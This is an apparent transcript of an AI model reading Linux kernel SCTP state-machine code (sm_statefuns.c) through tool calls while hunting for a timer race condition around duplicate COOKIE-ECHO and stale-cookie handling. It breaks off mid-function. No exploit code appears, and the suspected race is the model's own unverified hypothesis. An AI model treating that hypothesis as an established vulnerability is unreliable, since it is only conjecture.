 975:		 * stopping the T1-cookie timer.
 976:		 */
 977:		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
 978:				SCTP_TO(SCTP_EVENT_TIMEOUT_T1_COOKIE));
 979:		sctp_add_cmd_sf(commands, SCTP_CMD_NEW_STATE,
 980:				SCTP_STATE(SCTP_STATE_ESTABLISHED));
 981:		SCTP_INC_STATS(net, SCTP_MIB_CURRESTAB);
 982:		SCTP_INC_STATS(net, SCTP_MIB_ACTIVEESTABS);
 983:		sctp_add_cmd_sf(commands, SCTP_CMD_HB_TIMERS_START, SCTP_NULL());
 984:		if (asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE])
 985:			sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
 986:					SCTP_TO(SCTP_EVENT_TIMEOUT_AUTOCLOSE));
 987:	
 988:		/* It may also notify its ULP about the successful
 989:		 * establishment of the association with a Communication Up
 990:		 * notification (see Section 10).
 991:		 */
 992:		ev = sctp_ulpevent_make_assoc_change(asoc, 0, SCTP_COMM_UP,
 993:						     0, asoc->c.sinit_num_ostreams,
 994:						     asoc->c.sinit_max_instreams,
 995:						     NULL, GFP_ATOMIC);
 996:	
 997:		if (!ev)
 998:			goto nomem;
 999:	
1000:		sctp_add_cmd_sf(commands, SCTP_CMD_EVENT_ULP, SCTP_ULPEVENT(ev));
1001:	
1002:		/* Sockets API Draft Section 5.3.1.6
1003:		 * When a peer sends a Adaptation Layer Indication parameter , SCTP
1004:		 * delivers this notification to inform the application that of the
1005:		 * peers requested adaptation layer.
1006:		 */
1007:		if (asoc->peer.adaptation_ind) {
1008:			ev = sctp_ulpevent_make_adaptation_indication(asoc, GFP_ATOMIC);
1009:			if (!ev)
1010:				goto nomem;
1011:	
1012:			sctp_add_cmd_sf(commands, SCTP_CMD_EVENT_ULP,
1013:					SCTP_ULPEVENT(ev));
1014:		}
1015:	
1016:		if (!asoc->peer.auth_capable) {
1017:			ev = sctp_ulpevent_make_authkey(asoc, 0, SCTP_AUTH_NO_AUTH,
1018:							GFP_ATOMIC);
1019:			if (!ev)
1020:				goto nomem;
1021:			sctp_add_cmd_sf(commands, SCTP_CMD_EVENT_ULP,
1022:					SCTP_ULPEVENT(ev));
1023:		}
1024:	
1025:		return SCTP_DISPOSITION_CONSUME;
1026:	nomem:
1027:		return SCTP_DISPOSITION_NOMEM;
1028:	}
 SourceFile:net/sctp/sm_statefuns.c]

gemini-3.1-pro-preview

							input: 150027
							output: 54
							thoughts: 104
						

**My Thought Process Regarding SCTP COOKIE_ACK Handling**

My initial thought upon seeing the call to `sctp_sf_do_5_1E_ca` when a `COOKIE_ACK` is received is that this is a significant event, as it signifies the completion of the SCTP handshake. I'm keenly aware that this specific function is designed to be executed only *once* per association, marking the transition to a fully established state. Consequently, I understand that this is precisely when the `AUTOCLOSE` timer would be initiated, setting a future deadline for the association's potential inactivity.

However, my expertise immediately prompts me to consider edge cases and potential deviations from the ideal path. The critical question that arises is: "What happens if we receive *multiple* `COOKIE_ACK`s?" My understanding of state machines and protocol behavior suggests that receiving an unexpected message for a given state can lead to undefined or problematic behavior.

This leads me to a specific scenario: what if we are already in the `ESTABLISHED` state, and for some reason, a `COOKIE_ACK` arrives? This is no longer the initial handshake completion; it's a `COOKIE_ACK` in a context where the association is already considered operational. My immediate instinct is to consult the relevant handling mechanism for such a situation. Therefore, I'm directed to examine `sctp_sf_do_5_2_4_dupcook` to understand how the protocol is designed to manage these duplicate or out-of-order `COOKIE_ACK` messages, ensuring robustness and preventing unintended state transitions or resource leaks.

map[ContextFile:net/sctp/sm_statefuns.c Name:sctp_sf_do_5_2_4_dupcook]

map[SourceCode:2208:	/*
2209:	 * Handle a duplicate COOKIE-ECHO.  This usually means a cookie-carrying
2210:	 * chunk was retransmitted and then delayed in the network.
2211:	 *
2212:	 * Section: 5.2.4 Handle a COOKIE ECHO when a TCB exists
2213:	 *
2214:	 * Verification Tag: None.  Do cookie validation.
2215:	 *
2216:	 * Inputs
2217:	 * (endpoint, asoc, chunk)
2218:	 *
2219:	 * Outputs
2220:	 * (asoc, reply_msg, msg_up, timers, counters)
2221:	 *
2222:	 * The return value is the disposition of the chunk.
2223:	 */
2224:	enum sctp_disposition sctp_sf_do_5_2_4_dupcook(
2225:						struct net *net,
2226:						const struct sctp_endpoint *ep,
2227:						const struct sctp_association *asoc,
2228:						const union sctp_subtype type,
2229:						void *arg,
2230:						struct sctp_cmd_seq *commands)
2231:	{
2232:		struct sctp_chunk *err_chk_p = NULL;
2233:		struct sctp_association *new_asoc;
2234:		struct sctp_init_chunk *peer_init;
2235:		struct sctp_chunk *chunk = arg;
2236:		enum sctp_disposition retval;
2237:		enum sctp_cid cid;
2238:		int error = 0;
2239:		char action;
2240:	
2241:		/* Make sure that the chunk has a valid length from the protocol
2242:		 * perspective.  In this case check to make sure we have at least
2243:		 * enough for the chunk header.  Cookie length verification is
2244:		 * done later.
2245:		 */
2246:		if (!sctp_chunk_length_valid(chunk, sizeof(struct sctp_chunkhdr))) {
2247:			if (!sctp_vtag_verify(chunk, asoc))
2248:				asoc = NULL;
2249:			return sctp_sf_violation_chunklen(net, ep, asoc, type, arg, commands);
2250:		}
2251:	
2252:		/* "Decode" the chunk.  We have no optional parameters so we
2253:		 * are in good shape.
2254:		 */
2255:		chunk->subh.cookie_hdr = (struct sctp_signed_cookie *)chunk->skb->data;
2256:		if (!pskb_pull(chunk->skb, ntohs(chunk->chunk_hdr->length) -
2257:						sizeof(struct sctp_chunkhdr)))
2258:			goto nomem;
2259:	
2260:		/* In RFC 2960 5.2.4 3, if both Verification Tags in the State Cookie
2261:		 * of a duplicate COOKIE ECHO match the Verification Tags of the
2262:		 * current association, consider the State Cookie valid even if
2263:		 * the lifespan is exceeded.
2264:		 */
2265:		new_asoc = sctp_unpack_cookie(ep, asoc, chunk, GFP_ATOMIC, &error,
2266:					      &err_chk_p);
2267:	
2268:		/* FIXME:
2269:		 * If the re-build failed, what is the proper error path
2270:		 * from here?
2271:		 *
2272:		 * [We should abort the association. --piggy]
2273:		 */
2274:		if (!new_asoc) {
2275:			/* FIXME: Several errors are possible.  A bad cookie should
2276:			 * be silently discarded, but think about logging it too.
2277:			 */
2278:			switch (error) {
2279:			case -SCTP_IERROR_NOMEM:
2280:				goto nomem;
2281:	
2282:			case -SCTP_IERROR_STALE_COOKIE:
2283:				sctp_send_stale_cookie_err(net, ep, asoc, chunk, commands,
2284:							   err_chk_p);
2285:				return sctp_sf_pdiscard(net, ep, asoc, type, arg, commands);
2286:			case -SCTP_IERROR_BAD_SIG:
2287:			default:
2288:				return sctp_sf_pdiscard(net, ep, asoc, type, arg, commands);
2289:			}
2290:		}
2291:	
2292:		/* Set temp so that it won't be added into hashtable */
2293:		new_asoc->temp = 1;
2294:	
2295:		/* Compare the tie_tag in cookie with the verification tag of
2296:		 * current association.
2297:		 */
2298:		action = sctp_tietags_compare(new_asoc, asoc);
2299:	
2300:		/* In cases C and E the association doesn't enter the ESTABLISHED
2301:		 * state, so there is no need to call security_sctp_assoc_request().
2302:		 */
2303:		switch (action) {
2304:		case 'A': /* Association restart. */
2305:		case 'B': /* Collision case B. */
2306:			peer_init = (struct sctp_init_chunk *)
2307:					(chunk->subh.cookie_hdr + 1);
2308:			cid = peer_init->chunk_hdr.type;
2309:			if (!sctp_sk(ep->base.sk)->cookie_auth_enable &&
2310:			    !sctp_verify_init(net, ep, asoc, cid, peer_init, chunk,
2311:					      &err_chk_p)) {
2312:				sctp_association_free(new_asoc);
2313:				if (err_chk_p)
2314:					sctp_chunk_free(err_chk_p);
2315:				return sctp_sf_pdiscard(net, ep, asoc, type, arg,
2316:							commands);
2317:			}
2318:			if (err_chk_p)
2319:				sctp_chunk_free(err_chk_p);
2320:			fallthrough;
2321:		case 'D': /* Collision case D. */
2322:			/* Update socket peer label if first association. */
2323:			if (security_sctp_assoc_request((struct sctp_association *)asoc,
2324:							chunk->head_skb ?: chunk->skb)) {
2325:				sctp_association_free(new_asoc);
2326:				return sctp_sf_pdiscard(net, ep, asoc, type, arg, commands);
2327:			}
2328:			break;
2329:		}
2330:	
2331:		switch (action) {
2332:		case 'A': /* Association restart. */
2333:			retval = sctp_sf_do_dupcook_a(net, ep, asoc, chunk, commands,
2334:						      new_asoc);
2335:			break;
2336:	
2337:		case 'B': /* Collision case B. */
2338:			retval = sctp_sf_do_dupcook_b(net, ep, asoc, chunk, commands,
2339:						      new_asoc);
2340:			break;
2341:	
2342:		case 'C': /* Collision case C. */
2343:			retval = sctp_sf_do_dupcook_c(net, ep, asoc, chunk, commands,
2344:						      new_asoc);
2345:			break;
2346:	
2347:		case 'D': /* Collision case D. */
2348:			retval = sctp_sf_do_dupcook_d(net, ep, asoc, chunk, commands,
2349:						      new_asoc);
2350:			break;
2351:	
2352:		default: /* Discard packet for all others. */
2353:			retval = sctp_sf_pdiscard(net, ep, asoc, type, arg, commands);
2354:			break;
2355:		}
2356:	
2357:		/* Delete the temporary new association. */
2358:		sctp_add_cmd_sf(commands, SCTP_CMD_SET_ASOC, SCTP_ASOC(new_asoc));
2359:		sctp_add_cmd_sf(commands, SCTP_CMD_DELETE_TCB, SCTP_NULL());
2360:	
2361:		/* Restore association pointer to provide SCTP command interpreter
2362:		 * with a valid context in case it needs to manipulate
2363:		 * the queues */
2364:		sctp_add_cmd_sf(commands, SCTP_CMD_SET_ASOC,
2365:				 SCTP_ASOC((struct sctp_association *)asoc));
2366:	
2367:		return retval;
2368:	
2369:	nomem:
2370:		return SCTP_DISPOSITION_NOMEM;
2371:	}
 SourceFile:net/sctp/sm_statefuns.c]

gemini-3.1-pro-preview

							input: 152869
							output: 50
							thoughts: 19
						

**My Thought Process Regarding `sctp_sf_do_dupcook_a`**

Alright, so the first thing that comes to my mind when I see `sctp_sf_do_dupcook_a` is a need to dig into its functionality, to understand precisely what it's doing. I need to get a handle on its role within the SCTP stack, specifically how it contributes to the duplicate cookie handling mechanism. My immediate impulse is to trace its execution path, to see what conditions trigger it and what outcomes it produces. I'm anticipating that this function is likely involved in validating or processing cookie values, and I want to understand the nuances of that process. Is it responsible for generating new cookies, verifying received ones, or perhaps some combination of both? I'll be looking for how it interacts with other parts of the SCTP state machine, especially those related to connection establishment and security. The naming itself, "dupcook," strongly suggests a connection to the cookie-based authentication mechanism in SCTP, designed to mitigate certain denial-of-service attacks. Therefore, my focus will be on how `sctp_sf_do_dupcook_a` implements or enforces this security feature. I'll want to scrutinize its input parameters, its internal logic, and its return values to fully grasp its behavior and potential implications.

map[ContextFile:net/sctp/sm_statefuns.c Name:sctp_sf_do_dupcook_a]

map[SourceCode:1877:	/* Unexpected COOKIE-ECHO handler for peer restart (Table 2, action 'A')
1878:	 *
1879:	 * Section 5.2.4
1880:	 *  A)  In this case, the peer may have restarted.
1881:	 */
1882:	static enum sctp_disposition sctp_sf_do_dupcook_a(
1883:						struct net *net,
1884:						const struct sctp_endpoint *ep,
1885:						const struct sctp_association *asoc,
1886:						struct sctp_chunk *chunk,
1887:						struct sctp_cmd_seq *commands,
1888:						struct sctp_association *new_asoc)
1889:	{
1890:		struct sctp_init_chunk *peer_init;
1891:		enum sctp_disposition disposition;
1892:		struct sctp_ulpevent *ev;
1893:		struct sctp_chunk *repl;
1894:		struct sctp_chunk *err;
1895:	
1896:		/* new_asoc is a brand-new association, so these are not yet
1897:		 * side effects--it is safe to run them here.
1898:		 */
1899:		peer_init = (struct sctp_init_chunk *)(chunk->subh.cookie_hdr + 1);
1900:		if (!sctp_process_init(new_asoc, chunk, sctp_source(chunk), peer_init,
1901:				       GFP_ATOMIC))
1902:			goto nomem;
1903:	
1904:		if (sctp_auth_asoc_init_active_key(new_asoc, GFP_ATOMIC))
1905:			goto nomem;
1906:	
1907:		if (!sctp_auth_chunk_verify(net, chunk, new_asoc))
1908:			return SCTP_DISPOSITION_DISCARD;
1909:	
1910:		/* Make sure no new addresses are being added during the
1911:		 * restart.  Though this is a pretty complicated attack
1912:		 * since you'd have to get inside the cookie.
1913:		 */
1914:		if (!sctp_sf_check_restart_addrs(new_asoc, asoc, chunk, commands))
1915:			return SCTP_DISPOSITION_CONSUME;
1916:	
1917:		/* If the endpoint is in the SHUTDOWN-ACK-SENT state and recognizes
1918:		 * the peer has restarted (Action A), it MUST NOT setup a new
1919:		 * association but instead resend the SHUTDOWN ACK and send an ERROR
1920:		 * chunk with a "Cookie Received while Shutting Down" error cause to
1921:		 * its peer.
1922:		*/
1923:		if (sctp_state(asoc, SHUTDOWN_ACK_SENT)) {
1924:			disposition = __sctp_sf_do_9_2_reshutack(net, ep, asoc,
1925:								 SCTP_ST_CHUNK(chunk->chunk_hdr->type),
1926:								 chunk, commands);
1927:			if (SCTP_DISPOSITION_NOMEM == disposition)
1928:				goto nomem;
1929:	
1930:			err = sctp_make_op_error(asoc, chunk,
1931:						 SCTP_ERROR_COOKIE_IN_SHUTDOWN,
1932:						 NULL, 0, 0);
1933:			if (err)
1934:				sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1935:						SCTP_CHUNK(err));
1936:	
1937:			return SCTP_DISPOSITION_CONSUME;
1938:		}
1939:	
1940:		/* For now, stop pending T3-rtx and SACK timers, fail any unsent/unacked
1941:		 * data. Consider the optional choice of resending of this data.
1942:		 */
1943:		sctp_add_cmd_sf(commands, SCTP_CMD_T3_RTX_TIMERS_STOP, SCTP_NULL());
1944:		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
1945:				SCTP_TO(SCTP_EVENT_TIMEOUT_SACK));
1946:		sctp_add_cmd_sf(commands, SCTP_CMD_PURGE_OUTQUEUE, SCTP_NULL());
1947:	
1948:		/* Stop pending T4-rto timer, teardown ASCONF queue, ASCONF-ACK queue
1949:		 * and ASCONF-ACK cache.
1950:		 */
1951:		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
1952:				SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
1953:		sctp_add_cmd_sf(commands, SCTP_CMD_PURGE_ASCONF_QUEUE, SCTP_NULL());
1954:	
1955:		/* Update the content of current association. */
1956:		if (sctp_sf_do_assoc_update((struct sctp_association *)asoc, new_asoc, commands))
1957:			goto nomem;
1958:	
1959:		repl = sctp_make_cookie_ack(asoc, chunk);
1960:		if (!repl)
1961:			goto nomem;
1962:	
1963:		/* Report association restart to upper layer. */
1964:		ev = sctp_ulpevent_make_assoc_change(asoc, 0, SCTP_RESTART, 0,
1965:						     asoc->c.sinit_num_ostreams,
1966:						     asoc->c.sinit_max_instreams,
1967:						     NULL, GFP_ATOMIC);
1968:		if (!ev)
1969:			goto nomem_ev;
1970:	
1971:		sctp_add_cmd_sf(commands, SCTP_CMD_EVENT_ULP, SCTP_ULPEVENT(ev));
1972:		if ((sctp_state(asoc, SHUTDOWN_PENDING) ||
1973:		     sctp_state(asoc, SHUTDOWN_SENT)) &&
1974:		    (sctp_sstate(asoc->base.sk, CLOSING) ||
1975:		     sock_flag(asoc->base.sk, SOCK_DEAD))) {
1976:			/* If the socket has been closed by user, don't
1977:			 * transition to ESTABLISHED. Instead trigger SHUTDOWN
1978:			 * bundled with COOKIE_ACK.
1979:			 */
1980:			sctp_add_cmd_sf(commands, SCTP_CMD_REPLY, SCTP_CHUNK(repl));
1981:			return sctp_sf_do_9_2_start_shutdown(net, ep, asoc,
1982:							     SCTP_ST_CHUNK(0), repl,
1983:							     commands);
1984:		} else {
1985:			sctp_add_cmd_sf(commands, SCTP_CMD_NEW_STATE,
1986:					SCTP_STATE(SCTP_STATE_ESTABLISHED));
1987:			sctp_add_cmd_sf(commands, SCTP_CMD_REPLY, SCTP_CHUNK(repl));
1988:		}
1989:		return SCTP_DISPOSITION_CONSUME;
1990:	
1991:	nomem_ev:
1992:		sctp_chunk_free(repl);
1993:	nomem:
1994:		return SCTP_DISPOSITION_NOMEM;
1995:	}
 SourceFile:net/sctp/sm_statefuns.c]

gemini-3.1-pro-preview

							input: 155130
							output: 50
							thoughts: 572
						

**My Thought Process Unfolding**

Okay, I've been digging into this SCTP behavior, specifically around duplicate `COOKIE_ECHO` handling when in the `SHUTDOWN_SENT` state. My initial observation was that `sctp_sf_do_dupcook_a` invokes `sctp_sf_do_9_2_start_shutdown`. This function, as its name implies, generates a `SCTP_CMD_TIMER_START` command for the `T2_SHUTDOWN` timer.

Now, the critical point here is what happens when `T2_SHUTDOWN` is *already pending*. In the context of the `SHUTDOWN_SENT` state, the `T2_SHUTDOWN` timer is precisely *supposed* to be pending. It's started when we transition into that state. So, if we are already in `SHUTDOWN_SENT` and then receive a duplicate `COOKIE_ECHO`, the flow goes:

1.  We receive the duplicate `COOKIE_ECHO`.
2.  We call `sctp_sf_do_dupcook_a` to handle it.
3.  This function, in turn, calls `sctp_sf_do_9_2_start_shutdown`.
4.  `sctp_sf_do_9_2_start_shutdown` issues a `SCTP_CMD_TIMER_START` for `T2_SHUTDOWN`.

Here's where the problem arises: because we are in `SHUTDOWN_SENT`, the `T2_SHUTDOWN` timer is *already* running. So, when `sctp_sf_do_9_2_start_shutdown` generates that `SCTP_CMD_TIMER_START` command, the underlying timer mechanism will recognize that the timer is already pending. The logic then proceeds to call `timer_reduce`.

The race condition appears to be if this `timer_reduce` call happens *just* as the `T2_SHUTDOWN` timer is about to fire. If the timer fires immediately after `timer_pending` returns `TRUE` (indicating it's running), `timer_reduce` might restart it without properly acquiring the necessary association lock. This means the timer could fire and the association could be released or manipulated while the duplicate `COOKIE_ECHO` handling is still in progress, leading to an inconsistent state.

I double-checked the implementation of `sctp_sf_do_9_2_start_shutdown`, and it indeed contains the line:
```c
sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
                SCTP_TO(SCTP_EVENT_TIMEOUT_T2_SHUTDOWN));
```
This confirms my understanding: it unconditionally generates a start command for `T2_SHUTDOWN`.

This leads me to ponder if there are other scenarios where `SCTP_CMD_TIMER_START` is issued for an already pending timer. I'm thinking about features like `AUTOCLOSE`. If `AUTOCLOSE` is enabled, it's initiated upon entering the `ESTABLISHED` state. I'm curious if receiving data in the `ESTABLISHED` state might also lead to a restart of the `AUTOCLOSE` timer, and if that path also presents a similar race potential. I need to examine the `sctp_sf_eat_data_6_2` function to see how data reception interacts with `AUTOCLOSE`.

map[ContextFile:net/sctp/sm_statefuns.c Name:sctp_sf_eat_data_6_2]

map[SourceCode:3205:	/*
3206:	 * Section: 6.2  Acknowledgement on Reception of DATA Chunks
3207:	 *
3208:	 * The SCTP endpoint MUST always acknowledge the reception of each valid
3209:	 * DATA chunk.
3210:	 *
3211:	 * The guidelines on delayed acknowledgement algorithm specified in
3212:	 * Section 4.2 of [RFC2581] SHOULD be followed. Specifically, an
3213:	 * acknowledgement SHOULD be generated for at least every second packet
3214:	 * (not every second DATA chunk) received, and SHOULD be generated within
3215:	 * 200 ms of the arrival of any unacknowledged DATA chunk. In some
3216:	 * situations it may be beneficial for an SCTP transmitter to be more
3217:	 * conservative than the algorithms detailed in this document allow.
3218:	 * However, an SCTP transmitter MUST NOT be more aggressive than the
3219:	 * following algorithms allow.
3220:	 *
3221:	 * A SCTP receiver MUST NOT generate more than one SACK for every
3222:	 * incoming packet, other than to update the offered window as the
3223:	 * receiving application consumes new data.
3224:	 *
3225:	 * Verification Tag:  8.5 Verification Tag [Normal verification]
3226:	 *
3227:	 * Inputs
3228:	 * (endpoint, asoc, chunk)
3229:	 *
3230:	 * Outputs
3231:	 * (asoc, reply_msg, msg_up, timers, counters)
3232:	 *
3233:	 * The return value is the disposition of the chunk.
3234:	 */
3235:	enum sctp_disposition sctp_sf_eat_data_6_2(struct net *net,
3236:						   const struct sctp_endpoint *ep,
3237:						   const struct sctp_association *asoc,
3238:						   const union sctp_subtype type,
3239:						   void *arg,
3240:						   struct sctp_cmd_seq *commands)
3241:	{
3242:		union sctp_arg force = SCTP_NOFORCE();
3243:		struct sctp_chunk *chunk = arg;
3244:		int error;
3245:	
3246:		if (!sctp_vtag_verify(chunk, asoc)) {
3247:			sctp_add_cmd_sf(commands, SCTP_CMD_REPORT_BAD_TAG,
3248:					SCTP_NULL());
3249:			return sctp_sf_pdiscard(net, ep, asoc, type, arg, commands);
3250:		}
3251:	
3252:		if (!sctp_chunk_length_valid(chunk, sctp_datachk_len(&asoc->stream)))
3253:			return sctp_sf_violation_chunklen(net, ep, asoc, type, arg,
3254:							  commands);
3255:	
3256:		error = sctp_eat_data(asoc, chunk, commands);
3257:		switch (error) {
3258:		case SCTP_IERROR_NO_ERROR:
3259:			break;
3260:		case SCTP_IERROR_HIGH_TSN:
3261:		case SCTP_IERROR_BAD_STREAM:
3262:			SCTP_INC_STATS(net, SCTP_MIB_IN_DATA_CHUNK_DISCARDS);
3263:			goto discard_noforce;
3264:		case SCTP_IERROR_DUP_TSN:
3265:		case SCTP_IERROR_IGNORE_TSN:
3266:			SCTP_INC_STATS(net, SCTP_MIB_IN_DATA_CHUNK_DISCARDS);
3267:			goto discard_force;
3268:		case SCTP_IERROR_NO_DATA:
3269:			return SCTP_DISPOSITION_ABORT;
3270:		case SCTP_IERROR_PROTO_VIOLATION:
3271:			return sctp_sf_abort_violation(net, ep, asoc, chunk, commands,
3272:						       (u8 *)chunk->subh.data_hdr,
3273:						       sctp_datahdr_len(&asoc->stream));
3274:		default:
3275:			BUG();
3276:		}
3277:	
3278:		if (chunk->chunk_hdr->flags & SCTP_DATA_SACK_IMM)
3279:			force = SCTP_FORCE();
3280:	
3281:		if (asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE]) {
3282:			sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_RESTART,
3283:					SCTP_TO(SCTP_EVENT_TIMEOUT_AUTOCLOSE));
3284:		}
3285:	
3286:		/* If this is the last chunk in a packet, we need to count it
3287:		 * toward sack generation.  Note that we need to SACK every
3288:		 * OTHER packet containing data chunks, EVEN IF WE DISCARD
3289:		 * THEM.  We elect to NOT generate SACK's if the chunk fails
3290:		 * the verification tag test.
3291:		 *
3292:		 * RFC 2960 6.2 Acknowledgement on Reception of DATA Chunks
3293:		 *
3294:		 * The SCTP endpoint MUST always acknowledge the reception of
3295:		 * each valid DATA chunk.
3296:		 *
3297:		 * The guidelines on delayed acknowledgement algorithm
3298:		 * specified in  Section 4.2 of [RFC2581] SHOULD be followed.
3299:		 * Specifically, an acknowledgement SHOULD be generated for at
3300:		 * least every second packet (not every second DATA chunk)
3301:		 * received, and SHOULD be generated within 200 ms of the
3302:		 * arrival of any unacknowledged DATA chunk.  In some
3303:		 * situations it may be beneficial for an SCTP transmitter to
3304:		 * be more conservative than the algorithms detailed in this
3305:		 * document allow. However, an SCTP transmitter MUST NOT be
3306:		 * more aggressive than the following algorithms allow.
3307:		 */
3308:		if (chunk->end_of_packet)
3309:			sctp_add_cmd_sf(commands, SCTP_CMD_GEN_SACK, force);
3310:	
3311:		return SCTP_DISPOSITION_CONSUME;
3312:	
3313:	discard_force:
3314:		/* RFC 2960 6.2 Acknowledgement on Reception of DATA Chunks
3315:		 *
3316:		 * When a packet arrives with duplicate DATA chunk(s) and with
3317:		 * no new DATA chunk(s), the endpoint MUST immediately send a
3318:		 * SACK with no delay.  If a packet arrives with duplicate
3319:		 * DATA chunk(s) bundled with new DATA chunks, the endpoint
3320:		 * MAY immediately send a SACK.  Normally receipt of duplicate
3321:		 * DATA chunks will occur when the original SACK chunk was lost
3322:		 * and the peer's RTO has expired.  The duplicate TSN number(s)
3323:		 * SHOULD be reported in the SACK as duplicate.
3324:		 */
3325:		/* In our case, we split the MAY SACK advice up whether or not
3326:		 * the last chunk is a duplicate.'
3327:		 */
3328:		if (chunk->end_of_packet)
3329:			sctp_add_cmd_sf(commands, SCTP_CMD_GEN_SACK, SCTP_FORCE());
3330:		return SCTP_DISPOSITION_DISCARD;
3331:	
3332:	discard_noforce:
3333:		if (chunk->end_of_packet)
3334:			sctp_add_cmd_sf(commands, SCTP_CMD_GEN_SACK, force);
3335:	
3336:		return SCTP_DISPOSITION_DISCARD;
3337:	}
 SourceFile:net/sctp/sm_statefuns.c]

gemini-3.1-pro-preview

							input: 158034
							output: 53
							thoughts: 306
						

**My Thought Process Regarding SCTP Timer Management**

Alright, let me walk you through how my mind is dissecting this SCTP code, specifically around timer management and association establishment.

So, first, I'm noticing that `sctp_sf_eat_data_6_2` is employing `SCTP_CMD_TIMER_RESTART` for the `AUTOCLOSE` timer. This immediately tells me that it's not initiating a *new* timer start (`SCTP_CMD_TIMER_START`) for this particular scenario; rather, it's expecting an existing `AUTOCLOSE` timer to be running and needs to reset its countdown.

Then, my attention shifts to `T1_INIT`. I see that `sctp_sf_do_prm_asoc` is using `SCTP_CMD_TIMER_START` when `connect()` is invoked. This makes sense – when we initiate a connection, we need to start the initial transmission timer `T1_INIT` to track the time until we expect the first INIT or INIT-ACK.

Now, a question pops into my head: what happens if `connect()` is called *again* on a socket that's already in the process of connecting? I know that in such cases, the system should return `EALREADY` or `EINPROGRESS`. This is a good thing, as it prevents us from initiating multiple independent connection attempts on the same socket, which would likely lead to chaos with timer management.

However, my investigation takes an interesting turn. I discover that `sctp_sf_do_5_2_6_stale` also uses `SCTP_CMD_TIMER_START` for `T1_INIT`. This function is triggered when we receive an ERROR chunk carrying a `STALE_COOKIE` parameter. This is a critical point: if I were to receive *multiple* ERROR chunks with `STALE_COOKIE`, then `sctp_sf_do_5_2_6_stale` would be called repeatedly. This implies that `SCTP_CMD_TIMER_START` could indeed be issued multiple times for `T1_INIT` in this specific error handling path. This is a scenario I need to examine more closely, so I'm marking it for a deeper dive into the implementation of `sctp_sf_do_5_2_6_stale` itself.

map[ContextFile:net/sctp/sm_statefuns.c Name:sctp_sf_do_5_2_6_stale]

map[SourceCode:2552:	/*
2553:	 * Handle a Stale COOKIE Error
2554:	 *
2555:	 * Section: 5.2.6 Handle Stale COOKIE Error
2556:	 * If the association is in the COOKIE-ECHOED state, the endpoint may elect
2557:	 * one of the following three alternatives.
2558:	 * ...
2559:	 * 3) Send a new INIT chunk to the endpoint, adding a Cookie
2560:	 *    Preservative parameter requesting an extension to the lifetime of
2561:	 *    the State Cookie. When calculating the time extension, an
2562:	 *    implementation SHOULD use the RTT information measured based on the
2563:	 *    previous COOKIE ECHO / ERROR exchange, and should add no more
2564:	 *    than 1 second beyond the measured RTT, due to long State Cookie
2565:	 *    lifetimes making the endpoint more subject to a replay attack.
2566:	 *
2567:	 * Verification Tag:  Not explicit, but safe to ignore.
2568:	 *
2569:	 * Inputs
2570:	 * (endpoint, asoc, chunk)
2571:	 *
2572:	 * Outputs
2573:	 * (asoc, reply_msg, msg_up, timers, counters)
2574:	 *
2575:	 * The return value is the disposition of the chunk.
2576:	 */
2577:	static enum sctp_disposition sctp_sf_do_5_2_6_stale(
2578:						struct net *net,
2579:						const struct sctp_endpoint *ep,
2580:						const struct sctp_association *asoc,
2581:						const union sctp_subtype type,
2582:						void *arg,
2583:						struct sctp_cmd_seq *commands,
2584:						struct sctp_errhdr *err)
2585:	{
2586:		int attempts = asoc->init_err_counter + 1;
2587:		struct sctp_cookie_preserve_param bht;
2588:		struct sctp_bind_addr *bp;
2589:		struct sctp_chunk *reply;
2590:		u32 stale;
2591:	
2592:		if (attempts > asoc->max_init_attempts) {
2593:			sctp_add_cmd_sf(commands, SCTP_CMD_SET_SK_ERR,
2594:					SCTP_ERROR(ETIMEDOUT));
2595:			sctp_add_cmd_sf(commands, SCTP_CMD_INIT_FAILED,
2596:					SCTP_PERR(SCTP_ERROR_STALE_COOKIE));
2597:			return SCTP_DISPOSITION_DELETE_TCB;
2598:		}
2599:	
2600:		/* When calculating the time extension, an implementation
2601:		 * SHOULD use the RTT information measured based on the
2602:		 * previous COOKIE ECHO / ERROR exchange, and should add no
2603:		 * more than 1 second beyond the measured RTT, due to long
2604:		 * State Cookie lifetimes making the endpoint more subject to
2605:		 * a replay attack.
2606:		 * Measure of Staleness's unit is usec. (1/1000000 sec)
2607:		 * Suggested Cookie Life-span Increment's unit is msec.
2608:		 * (1/1000 sec)
2609:		 * In general, if you use the suggested cookie life, the value
2610:		 * found in the field of measure of staleness should be doubled
2611:		 * to give ample time to retransmit the new cookie and thus
2612:		 * yield a higher probability of success on the reattempt.
2613:		 */
2614:		stale = ntohl(*(__be32 *)((u8 *)err + sizeof(*err)));
2615:		stale = (stale * 2) / 1000;
2616:	
2617:		bht.param_hdr.type = SCTP_PARAM_COOKIE_PRESERVATIVE;
2618:		bht.param_hdr.length = htons(sizeof(bht));
2619:		bht.lifespan_increment = htonl(stale);
2620:	
2621:		/* Build that new INIT chunk.  */
2622:		bp = (struct sctp_bind_addr *) &asoc->base.bind_addr;
2623:		reply = sctp_make_init(asoc, bp, GFP_ATOMIC, sizeof(bht));
2624:		if (!reply)
2625:			goto nomem;
2626:	
2627:		sctp_addto_chunk(reply, sizeof(bht), &bht);
2628:	
2629:		/* Clear peer's init_tag cached in assoc as we are sending a new INIT */
2630:		sctp_add_cmd_sf(commands, SCTP_CMD_CLEAR_INIT_TAG, SCTP_NULL());
2631:	
2632:		/* Stop pending T3-rtx and heartbeat timers */
2633:		sctp_add_cmd_sf(commands, SCTP_CMD_T3_RTX_TIMERS_STOP, SCTP_NULL());
2634:		sctp_add_cmd_sf(commands, SCTP_CMD_HB_TIMERS_STOP, SCTP_NULL());
2635:	
2636:		/* Delete non-primary peer ip addresses since we are transitioning
2637:		 * back to the COOKIE-WAIT state
2638:		 */
2639:		sctp_add_cmd_sf(commands, SCTP_CMD_DEL_NON_PRIMARY, SCTP_NULL());
2640:	
2641:		sctp_add_cmd_sf(commands, SCTP_CMD_PURGE_OUTQUEUE, SCTP_NULL());
2642:	
2643:		/* Cast away the const modifier, as we want to just
2644:		 * rerun it through as a sideffect.
